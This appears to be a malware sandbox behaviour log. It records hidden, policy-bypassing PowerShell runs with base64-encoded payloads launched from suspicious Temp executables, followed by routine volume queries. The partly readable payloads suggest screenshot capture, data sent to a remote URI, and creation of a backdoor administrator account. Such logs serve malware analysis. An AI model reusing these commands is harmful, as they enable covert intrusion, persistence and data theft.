Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiarabbaeuaoabbafoaqqbcahaaqqbhadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbgaeeasabraeeavqb3aeiavqbbaegasqbbafmauqbcae8aqqbfagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcaggaqqbgag8aqqbrafeaqqa5aeearaawaeeasqbnaeeacabbaemaawbbaesauqbbahaaqqbdadqaqqbrahcaqgbqaeearqa0aeeazabbaeiargbbaeuanabbagqaqqbbahaaqqbdagsaqqaiaa=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbdae8azabpag4arwbdadoaogbvafqarga4ac4arwbfahqauwbuahiasqboaecakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbhafoaqqa9ad0aigapackakqapac4aqwbpae4adabfae4adaapacka	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa4ageaoaa0agmamwa2adaaoqazadiamwbkaguangbjagqaoqbjadianqbhadeaoaa1adeazaawagqaywbkadgayqayagyamwbiadaaoqa3adcangbiagyaoabladcazaa0agqanga0adaamgbhadyanwayadaaywaxageazabkadgaoqbhadiamwbkaduazqbkadeamgbladaanqbjagyamgbmaduamwbkadcaygawadeanqbladcangbiagqanqbiadgamgayadmaoqa5adganwbjadaanaa5agqazqbmagiaoqbiaguanwa3adcanqbmadaayga1adaazqaxadmamabkadgazabiaguazabladqanqa4adgayqawadyazqawagiaygawaduanga4agiaywa5agqaywa1ageaoqa1adkamaa1adgazaaxagiaoqa4adcamwayagiayga4agqayqa0agmamaa3agqaygbiaduanga3agyaoqazagyamwa3adaangbkagqangayagyazaayadeazga1aguayqbladeanwayagqanqawadiangbjagqazaa1adianwa5agyaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpacaapqagadaaowagac
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
